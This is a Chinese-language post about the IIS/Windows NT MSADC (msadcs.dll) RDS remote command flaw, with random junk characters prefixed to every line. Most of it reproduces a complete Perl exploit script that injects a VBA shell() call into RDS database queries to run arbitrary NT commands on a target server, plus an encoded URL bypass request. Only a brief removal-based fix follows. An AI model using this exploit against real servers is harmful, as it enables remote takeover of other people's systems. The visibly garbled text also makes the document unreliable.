IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
uTKD 4yig PE5R7)~A 涉及程序：
+RyjF~[e Microsoft NT server
VXR>]HUF "#{4d),r 描述：
CF?1R 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
(O.d > C~o7X^[R\ 详细：
j)<IRD^ 如果你没有时间读详细内容的话，就删除:
6YGubH7%_ c:\Program Files\Common Files\System\Msadc\msadcs.dll
6] W=nAD 有关的安全问题就没有了。
ll`>FcQ uBNn 6j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
TU:7D f ^eo|P~w
g 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
P:k>aHnW 关于利用ODBC远程漏洞的描述，请参看:
?zw|kl C|}iCB http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm -"=U?>( '}B+r@YCN 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Q9Kve3u-i http://www.microsoft.com/security/bulletins/MS99-025faq.asp m i,E- P<M?Qd 1 . 这里不再论述。
e\!0<d t! r A%* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
j4|N- : Kx;eaz:g x /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
0yuS3VY) 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
{^\+iK4bS qI#;j%V ABD)}n=%c #将下面这段保存为txt文件，然后: "perl -x 文件名"
e?JW NbgK@eV}+{ #!perl
= a@ j= #
x{n`^;Y1 # MSADC/RDS 'usage' (aka exploit) script
DAcQz4T` #
]yK7PH-{L # by rain.forest.puppy
!cO]< CWPq #
W4pL ,(S # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
9~]~#Uj # beta test and find errors!
@m w5~ + k <=//r use Socket; use Getopt::Std;
`*_mP<Ag getopts("e:vd:h:XR", \%args);
]rWg SID S |7!{} print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
WvBc#s- +nXK-g;)' if (!defined $args{h} && !defined $args{R}) {
c:<005\ Bg print qq~
WST8SEzJ Usage: msadc.pl -h <host> { -d <delay> -X -v }
"B3N* R([" -h <host> = host you want to scan (ip or domain)
JBE!j-F -d <seconds> = delay between calls, default 1 second
M>~D rul -X = dump Index Server path table, if available
UNom- -v = verbose
Ta(Y:*Ri -e = external dictionary file for step 5
S-
pV_Ff K/i*w<aPb7 Or a -R will resume a command session
&PYK8}pBk3 N G " C& v ~; exit;}
D~hg$XzK 6kpg+{; $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
*AO,^R&e. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
gy#/D& N[ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
3 RYpJAH if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
OB Otu u. $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
p "n$!ilbm if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
9 7GV2]-M =t9\^RIx)? if (!defined $args{R}){ $ret = &has_msadc;
'g C _)rK* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
/fZe WU0W o4m\~as)Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
k5:G-BQ : . "cmd /c ";
9
Vkb>yFX' $in=<STDIN>; chomp $in;
'p> Ra/4 $command="cmd /c " . $in ;
mZ SD ( sf)EMh3Z if (defined $args{R}) {&load; exit;}
L ^q""[ =G7m)! print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
cq}EZ@ . &try_btcustmr;
}uJu>'1[G *5%d XixN print "\nStep 2: Trying to make our own DSN...";
[x+FcXb &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
+S> j0m<* #$18*?tLv| print "\nStep 3: Trying known DSNs...";
cAY: AtD &known_dsn;
d:BG#\e]v Y w^m print "\nStep 4: Trying known .mdbs...";
>, F bX8Zz &known_mdb;
oB}BU`-l (gP)% if (defined $args{e}){
^
D aBz\ print "\nStep 5: Trying dictionary of DSN names...";
Y$Z x, &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
a1C{(f) QRHu 3w print "Sorry Charley...maybe next time?\n";
{:6r ;TB exit;
% tS,}ze 2oVSn" ##############################################################################
O(fM?4w w>pq+og& sub sendraw { # ripped and modded from whisker
\-h%O
jf4 sleep($delay); # it's a DoS on the server! At least on mine...
XGYbnZ~
my ($pstr)=@_;
RL!Oi|8 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
)J2mM die("Socket problems\n");
gb F+WE if(connect(S,pack "SnA4x8",2,80,$target)){
?}wk.gt> select(S); $|=1;
#M9~L[nF S print $pstr; my @in=<S>;
G<}( )+L select(STDOUT); close(S);
?zh9d%R return @in;
J!c)s!`w } else { die("Can't connect...\n"); }}
$xzAv{ I'A_x$ib6 ##############################################################################
ojaws+(& y 9IjIIM2y sub make_header { # make the HTTP request
yA)/Q
Yge my $msadc=<<EOT
Y<N5#
);f POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
01 wX `"I User-Agent: ACTIVEDATA
mk.9O hYY Host: $ip
EMY/~bQW Content-Length: $clen
idLWe9gC Connection: Keep-Alive
C 3^JAP 6 Q%jA7 ADCClientVersion:01.06
8I lunJ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
v- 2:(I V `=4r+ --!ADM!ROX!YOUR!WORLD!
e>6y% v; Content-Type: application/x-varg
dBYmiF!+ Content-Length: $reqlen
t<#TJ>Le t h EOT
L-ET<'u ; $msadc=~s/\n/\r\n/g;
uG wm
r return $msadc;}
6a[}'/ + O8%Hm ##############################################################################
u_@ f$ !hJ+Lp _ sub make_req { # make the RDS request
s^Y"' ` + my ($switch, $p1, $p2)=@_;
$Q &lSVQ my $req=""; my $t1, $t2, $query, $dsn;
")S Fi^] T1 ut"Zu if ($switch==1){ # this is the btcustmr.mdb query
|n2qVR, $query="Select * from Customers where City=" . make_shell();
) pzy $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
-.1y(k^4E $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
'*K :
lx Bal$ +S elsif ($switch==2){ # this is general make table query
GzhYY"iif# $query="create table AZZ (B int, C varchar(10))";
kjIAep0rT $dsn="$p1";}
^yW L,$ 6</xL9#/ elsif ($switch==3){ # this is general exploit table query
zBCtd1Xrni $query="select * from AZZ where C=" . make_shell();
%'b M){ $dsn="$p1";}
/a{la8Ni {j9{n elsif ($switch==4){ # attempt to hork file info from index server
9+j0q% $query="select path from scope()";
5 h-@ |t $dsn="Provider=MSIDXS;";}
s3z$e+A8 f86XkECZ;` elsif ($switch==5){ # bad query
|?! ~{ -o $query="select";
`95r0t0hh\ $dsn="$p1";}
B^1>PE Vx$ \hcG $t1= make_unicode($query);
!\-{D$E?H $t2= make_unicode($dsn);
+9M^7 /}H $req = "\x02\x00\x03\x00";
8m-U){r!U^ $req.= "\x08\x00" . pack ("S1", length($t1));
Z_ $%. $req.= "\x00\x00" . $t1 ;
C^O
VB- $req.= "\x08\x00" . pack ("S1", length($t2));
=O&%c%~q $req.= "\x00\x00" . $t2 ;
= I:.X ; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
urbp#G/> return $req;}
i`(XLi}k -) w@f~Q ##############################################################################
DVG(V w N :S/SZI sub make_shell { # this makes the shell() statement
&q3"g*q return "'|shell(\"$command\")|'";}
FEW14 U'O DGRXd# ##############################################################################
fa-IhB1!K qB ~rQPa sub make_unicode { # quick little function to convert to unicode
,kiv>{ my ($in)=@_; my $out;
y`VyQ WW for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
),0g~'I~D
return $out;}
d?ex, f. gR&Q3jlIV ##############################################################################
SzAJ2:qhl B~6&{7 xc% sub rdo_success { # checks for RDO return success (this is kludge)
P Y_u/<u my (@in) = @_; my $base=content_start(@in);
34`'M+3 if($in[$base]=~/multipart\/mixed/){
N nR D|A return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Nkjza:f{ return 0;}
*T- <|zQ {o)L c6T8s ##############################################################################
q z+dmef H['N sub make_dsn { # this makes a DSN for us
QqDC4+ p" my @drives=("c","d","e","f");
VyXKZ%\dQ/ print "\nMaking DSN: ";
_G[g;$ < foreach $drive (@drives) {
|N4.u
_hM print "$drive: ";
U\ ig: my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
-?H#LUk "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
YpWPz %`: . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
{ME2ImD $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
oL!EYbFD'Z return 0 if $2 eq "404"; # not found/doesn't exist
5-|:^hU9 if($2 eq "200") {
,-$LmECg foreach $line (@results) {
,g%0`SO return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
D60aH!ft } return 0;}
cm&nd'A't ; ^*}#X d ##############################################################################
y0{u<"t%w )fFb_ U sub verify_exists {
:yL] ;J my ($page)=@_;
Z 6t56"u my @results=sendraw("GET $page HTTP/1.0\n\n");
"fQ~uzg=" return $results[0];}
Pnk5mK$ yg `j-9[8 ##############################################################################
{}>0e:51 f~t:L, \, sub try_btcustmr {
NvD7Krqwa my @drives=("c","d","e","f");
Qk0R a_ my @dirs=("winnt","winnt35","winnt351","win","windows");
~,d,#)VE2q "LHcB]^< foreach $dir (@dirs) {
!Xh=k36 print "$dir -> "; # fun status so you can see progress
g$":D foreach $drive (@drives) {
i{Uc6 R6 print "$drive: "; # ditto
&Q%zl9g(g $reqlen=length( make_req(1,$drive,$dir) ) - 28;
yd^ {tQi $reqlenlen=length( "$reqlen" );
+ @A $clen= 206 + $reqlenlen + $reqlen;
Rvkedb c%^7!FSg my @results=sendraw(make_header() . make_req(1,$drive,$dir));
7G:s2432 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
0Be < X else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)s)I2 Z+ 4qphA9i1 ##############################################################################
d: _t-ZZo 3YeG$^y" sub odbc_error {
S(o#K|)> my (@in)=@_; my $base;
\(3y7 D my $base = content_start(@in);
k o5 @qNq if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
#Z}Rf k(~ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Bz_^~b7 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
}Q)#[#e $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
~t@cO.c return $in[$base+4].$in[$base+5].$in[$base+6];}
XpIklL 7 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Km%]1X7T6 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
P!~MZ+7#& $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V8 e> l[tH P]<4R:yb ##############################################################################
G[B=>Cy V("{)0~O sub verbose {
T!-\@PB ! my ($in)=@_;
@*F"Q1 wI return if !$verbose;
Vmc5IPd{\ print STDOUT "\n$in\n";}
~9?cn Av @b! iw+ ##############################################################################
a:+{f& &qLf@1AD sub save {
efS M`!%j my ($p1, $p2, $p3, $p4)=@_;
N O2XA\ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
w4_ U0
n3 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
[NQOrcA Q close OUT;}
$[9%QQk5<L PUz *!9HC ##############################################################################
ZufR {^W yID 164&r sub load {
1 da@3xaF my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3ovWwZ8 & open(IN,"<rds.save") || die("Couldn't open rds.save\n");
'UkxS b @p=<IN>; close(IN);
`^91%f $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
A]y`7jJ $target= inet_aton($ip) || die("inet_aton problems");
g-qP;vy@"q print "Resuming to $ip ...";
&d9{k5/+\ $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
w _u\p a if($p[1]==1) {
rJd,Rdt. $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[M?}uK ^ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
zqd@EF6/bz my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
LU+3{O5y if (rdo_success(@results)){print "Success!\n";}
sI43@[ else { print "failed\n"; verbose(odbc_error(@results));}}
OBgkpx*Q elsif ($p[1]==3){
,4 hJT if(run_query("$p[3]")){
he#J| p print "Success!\n";} else { print "failed\n"; }}
ImCe K elsif ($p[1]==4){
iy6On,UL if(run_query($drvst . "$p[3]")){
-Bt k 3 print "Success!\n"; } else { print "failed\n"; }}
2;xIL] exit;}
fTzvmC: g7 ~)*,S^k(C. ##############################################################################
`{4i)n%e& gwNq
x" sub create_table {
z _g ~ my ($in)=@_;
hrmut*<| $reqlen=length( make_req(2,$in,"") ) - 28;
yhlFFbU $reqlenlen=length( "$reqlen" );
OL5v).Bb $clen= 206 + $reqlenlen + $reqlen;
zh4# A
<e my @results=sendraw(make_header() . make_req(2,$in,""));
1pQn8[sc@ return 1 if rdo_success(@results);
Ulhk$CPA my $temp= odbc_error(@results); verbose($temp);
YW-usvl& return 1 if $temp=~/Table 'AZZ' already exists/;
m%rd0=}57 return 0;}
2C2fGYu ,9?Bc D1 ##############################################################################
<Dpe voF >PB4L_1 sub known_dsn {
<C RP ^_c # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
&9/O!3p) my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
b>_o xK "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
#1J &7F1 "banner", "banners", "ads", "ADCDemo", "ADCTest");
siXr;/n" {2qFY 5H foreach $dSn (@dsns) {
eeIhed 9
print ".";
/{|EAd{ next if (!is_access("DSN=$dSn"));
%mL-$* if(create_table("DSN=$dSn")){
YTAmgkF\4 print "$dSn successful\n";
R5 "K]~ if(run_query("DSN=$dSn")){
%lL.[ 8r| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
]d55m /( print "Something's borked. Use verbose next time\n";}}} print "\n";}
Ok{*fa.PK $J4 *U ##############################################################################
(
W a DvME 1]7) sub is_access {
~0?mBy!-O my ($in)=@_;
Q)"C& ) `l $reqlen=length( make_req(5,$in,"") ) - 28;
0YaA ` $reqlenlen=length( "$reqlen" );
Ku WWUjCE $clen= 206 + $reqlenlen + $reqlen;
h
a|C&G my @results=sendraw(make_header() . make_req(5,$in,""));
n-5W*z k1 my $temp= odbc_error(@results);
EJ@?h(O verbose($temp); return 1 if ($temp=~/Microsoft Access/);
h1:aKm! return 0;}
J~=n`pW >oea{u ##############################################################################
s~X+*@. yphS'AG sub run_query {
_,q) hOI my ($in)=@_;
AoY -\E $reqlen=length( make_req(3,$in,"") ) - 28;
$ m7?3/YG $reqlenlen=length( "$reqlen" );
f @8mS $clen= 206 + $reqlenlen + $reqlen;
cbeLu'DWB. my @results=sendraw(make_header() . make_req(3,$in,""));
#u2J;9P return 1 if rdo_success(@results);
za#s/b$[ my $temp= odbc_error(@results); verbose($temp);
"mX\&%i6\p return 0;}
~SQ?BoCI[ N03G> fZ ##############################################################################
R,)}>X|< Xm+8 sub known_mdb {
'[J <=2& my @drives=("c","d","e","f","g");
Nb?w|Ne(T my @dirs=("winnt","winnt35","winnt351","win","windows");
CxGx8*<X my $dir, $drive, $mdb;
*ohL& 'y my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
5pU2|Bk / ~i@Y|38C # this is sparse, because I don't know of many
-D xL 0:E my @sysmdbs=( "\\catroot\\icatalog.mdb",
9Kg21- ? "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
GRMiQa "\\system32\\certmdb.mdb",
]"+95 *B "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
Q#^Qv.s?K )=\# UE+W my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
ktnuNsp "\\cfusion\\cfapps\\forums\\forums_.mdb",
XIvn_&d;G "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
jxiC
Kx,G "\\cfusion\\cfapps\\security\\realm_.mdb",
U;b K!& Z "\\cfusion\\cfapps\\security\\data\\realm.mdb",
}>)@WL:q "\\cfusion\\database\\cfexamples.mdb",
lJ+0P2@h* "\\cfusion\\database\\cfsnippets.mdb",
x8!ol2\`< "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
^BUYjq%(` "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
c;{Q,"9U "\\cfusion\\brighttiger\\database\\cleam.mdb",
yvgrIdEP "\\cfusion\\database\\smpolicy.mdb",
Q F-LU
"\\cfusion\\database\cypress.mdb",
UUF ;p2{f "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ub7z A!% "\\website\\cgi-win\\dbsample.mdb",
6UevpDB "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
df*5,NV'-* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
:1 (p.q= ); #these are just
$|] " W=h foreach $drive (@drives) {
e`d%-9 foreach $dir (@dirs){
,R EJ t foreach $mdb (@sysmdbs) {
V<D.sd< print ".";
hOFOO_byzO if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:,WtR print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
eFBeJZuE| if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
:`E8Z:-R print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
$p#%G#T } else { print "Something's borked. Use verbose next time\n"; }}}}}
Gq_-Val]" `
L > foreach $drive (@drives) {
76V
6cI=+ foreach $mdb (@mdbs) {
I<K si~*i print ".";
H_ EB1"C;\ if(create_table($drv . $drive . $dir . $mdb)){
|?Frj print "\n" . $drive . $dir . $mdb . " successful\n";
(
xXGSx if(run_query($drv . $drive . $dir . $mdb)){
0ge $ p, print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
\=+b}mKV
m } else { print "Something's borked. Use verbose next time\n"; }}}}
)foq),2 }
h dnTXs@z "8 ~:[G# ##############################################################################
Glxuz0] N;Dni#tQ` sub hork_idx {
z ^_*& print "\nAttempting to dump Index Server tables...\n";
`Q+ (LBP print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
s"9`s_p`d $reqlen=length( make_req(4,"","") ) - 28;
b3S .-W{p. $reqlenlen=length( "$reqlen" );
8 %%f%y $clen= 206 + $reqlenlen + $reqlen;
.~Fp)O:! my @results=sendraw2(make_header() . make_req(4,"",""));
TlI<1/ fP} if (rdo_success(@results)){
fB gEnz/ my $max=@results; my $c; my %d;
!_+8A/ for($c=19; $c<$max; $c++){
8~90 3 0>Q $results[$c]=~s/\x00//g;
w^L ta $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
-od!J\ KCy $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!FA# K8 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
y;t6sM@ $d{"$1$2"}="";}
@[#$J0q q foreach $c (keys %d){ print "$c\n"; }
s
<
} else {print "Index server doesn't seem to be installed.\n"; }}
W?0 lV5/ YoN*:jB<M ##############################################################################
bV edF m ?pYKZg /c sub dsn_dict {
U7!.,k R- open(IN, "<$args{e}") || die("Can't open external dictionary\n");
!O.[PH(,* while(<IN>){
-RO7
'm0 $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
*<E]E? next if (!is_access("DSN=$dSn"));
'xhcuVl if(create_table("DSN=$dSn")){
/"
${$b{ print "$dSn successful\n";
1x @qk L6 if(run_query("DSN=$dSn")){
gzjR 6uz print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
cTD!B% x print "Something's borked. Use verbose next time\n";}}}
uC8L\UXk print "\n"; close(IN);}
C bPuoOl Oy <5>2^P ##############################################################################
o Y1';&BO9 rj6tZJZ#o0 sub sendraw2 { # ripped and modded from whisker
Ma'_e=+A sleep($delay); # it's a DoS on the server! At least on mine...
c9kzOQ2n my ($pstr)=@_;
/n5F(5< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%q!8={ J8 die("Socket problems\n");
T[, /5J if(connect(S,pack "SnA4x8",2,80,$target)){
FP0G]=ME print "Connected. Getting data";
HDda@Jy open(OUT,">raw.out"); my @in;
p8kr/uMP ; select(S); $|=1; print $pstr;
R)M_|ca while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
/;7y {(o close(OUT); select(STDOUT); close(S); return @in;
e1>aTu@ } else { die("Can't connect...\n"); }}
!
iptT(2 %V1Z~HC ##############################################################################
P 6 ;'Sza Di@GY! sub content_start { # this will take in the server headers
4Sm]>%F': my (@in)=@_; my $c;
% r-V2) for ($c=1;$c<500;$c++) {
p.
R2gl1m if($in[$c] =~/^\x0d\x0a/){
3' ~gv i I if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
B|C/
Rk6? else { return $c+1; }}}
&?uz`pv2 return -1;} # it should never get here actually
HQUeWCN .s<*'B7& ##############################################################################
v1|Bf8 J[A14z]#` sub funky {
/0W9 g my (@in)=@_; my $error=odbc_error(@in);
@*0cMO;SpG if($error=~/ADO could not find the specified provider/){
_bzqd"
31I print "\nServer returned an ADO miscofiguration message\nAborting.\n";
a@@M+9Q exit;}
p}|.ZkyN if($error=~/A Handler is required/){
}w/;){gu print "\nServer has custom handler filters (they most likely are patched)\n";
Iq# ZhAk exit;}
-pU|hSW*b if($error=~/specified Handler has denied Access/){
' zEI;v print "\nServer has custom handler filters (they most likely are patched)\n";
:U
d exit;}}
rwniOQe DNR~_3Aq ##############################################################################
1=|7 mehL% {^ m(,K_ sub has_msadc {
?_oF :*~\ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
277ASCWLkU my $base=content_start(@results);
U WZa|I~:J return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
e/*$^i+S return 0;}
|.F V~T@6S ########################
J0
k :-iMdtm Ja]?&j 解决方案：
;>%~9j 1C 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
ui "3ak+F 2、移除web 目录: /msadc
